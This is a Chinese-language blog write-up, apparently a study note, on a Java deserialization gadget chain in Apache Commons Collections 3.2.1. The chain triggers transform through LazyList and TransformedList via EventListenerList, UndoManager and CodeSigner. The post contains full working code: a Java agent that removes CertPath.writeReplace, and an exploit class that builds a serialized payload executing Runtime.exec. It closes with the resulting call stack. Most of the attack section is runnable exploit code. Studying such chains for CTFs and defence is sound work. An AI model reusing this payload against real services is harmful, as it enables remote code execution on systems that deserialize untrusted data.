CommonsCollections3.2.1利用LazyList调用transform

2399532b0ec17432ff08e137aacc446a286431045

前言

在网上看到的,cc链之前都是用map等类来触发transform,n1ght师傅发现了新思路,通过list同样可以导致命令执行。可惜并没有越过3.2.2版本的限制,作为一道绕过黑名单的CTF题目感觉是一个不错的思路。

学习这条链子也学到了一些新的知识点,来看一下吧QAQ

Java Agent

Java 代理 (agent) 是在你的main方法前的一个拦截器 (interceptor),也就是在main方法执行之前,执行agent的代码。

agent 的代码与你的main方法在同一个JVM中运行,并被同一个system classloader装载,被同一的安全策略 (security policy) 和上下文 (context) 所管理。

其实Java Agent一点都不神秘,也是一个Jar包,只是启动方式和普通Jar包有所不同,对于普通的Jar包,通过指定类的main函数进行启动,但是Java Agent并不能单独启动,必须依附在一个Java应用程序运行,有点像寄生虫的感觉。

在本条利用链里面,CertPath重写了writeReplace导致序列化异常,使用agent直接把这个方法移除掉。

需要打一个jar包

Agent类

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;

public class Agent {
public static void premain(String agentArgs, Instrumentation inst) {
// 创建并注册你的 ClassFileTransformer 实例
ClassFileTransformer transformer = new RemoveReplaceTransformer();
inst.addTransformer(transformer);
}
}

RemoveReplaceTransformer类(使用了javassist,需要导入依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("java/security/cert/CertPath")) {
try {
System.out.println("正在转换 CertPath 类");
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.detach(); // 转换后分离 CtClass
return ctClass.toBytecode();
} catch (Exception e) {
// 优雅地处理异常
e.printStackTrace();
}
}
// 没有转换,返回 null
return null;
}
}

在resources目录下新建目录META-INF,然后新建文件MANIFEST.MF文件写入一下内容,然后就是打jar包

1
2
3
Manifest-Version: 1.0
Premain-Class: org.example.Agent

在运行poc设置

image-20240418135911302

并且填入(-javaagent:后接jar包路径就可以)

1
-javaagent:D:\ctf\学习笔记\java安全\反序列化\agrnt\out\artifacts\CCTestAgent\CCTestAgent.jar

Unsafe

Java语言先比较与C和C++有一个非常大的不同点在于Java语言无法直接操作内存,实际开发中,默认都是由JVM来进行内存分配和垃圾回收,而JVM在进行垃圾回收的时候,绝大多数垃圾回收器都需要STW(stop the world)这个问题往往会导致服务短暂或者较长时间的暂停。因此Unsafe提供了通过Java直接操作内存的API,尽管Unsafe是JavaNIO和并发的核心类,但是其如其名,这是一个官方不推荐开发者使用的及其不安全的类!

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package exp;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class CCList {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, chainedTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
//反射获取Unsafe
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
//将decorate对象放置到ListOrderedMap对象的内部字段
Unsafe unsafe = (Unsafe) field.get(null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
//使用Unsafe类直接分配了一个X509CertPath类的实例,并将decorate对象设置为其中的一个字段
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
//直接分配了一个CodeSigner类的实例,并将之前创建的X509CertPath对象设置为其中的一个字段
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
//创建了一个EventListenerList对象和一个UndoManager对象。然后,通过反射获取UndoManager对象中的名为edits的字段,并向其添加了之前创建的CodeSigner对象
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
//将一个恶意对象数组(包含InternalError.class和manager对象)设置为EventListenerList对象的内部字段
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});

ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(bin).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

调用链

注意,禁用这个,不然调试自动调用toString方法会出问题

QQ图片20240418152736

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
transform:91, TransformedCollection (org.apache.commons.collections.collection)
set:121, TransformedList (org.apache.commons.collections.list)
get:112, LazyList (org.apache.commons.collections.list)
toString:159, CodeSigner (java.security)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:56, CCList (exp)

调试了好久,还是不能按部就班得调,人都调昏了,先在Runtime得exec方法打上断点,然后获得上面的调用栈,然后根据调用栈直接运行到相应方法上面,一针见血。

先打到readObject上面,然后步入add方法里面

image-20240418151227103

接着直接运行到java.security.CodeSigner#toString方法

image-20240418151919631

步入进get(0)方法

image-20240418152035113

然后再步入到set方法,看到我们熟悉的transform方法了

image-20240418152135761

后记

拿张图看看吧

473de8ee66330bacb3a58fbb8ef31d87

参考:

java反序列化漏洞commons-collections3.2.1TransformedList触发transform - 先知社区 (aliyun.com)

Java之Unsafe-越迷人的越危险 - 掘金 (juejin.cn)

Java中的Unsafe在安全领域的一些应用总结和复现 - bitterz - 博客园 (cnblogs.com)

Java Agent (JVM Instrumentation 机制) 极简教程-腾讯云开发者社区-腾讯云 (tencent.com)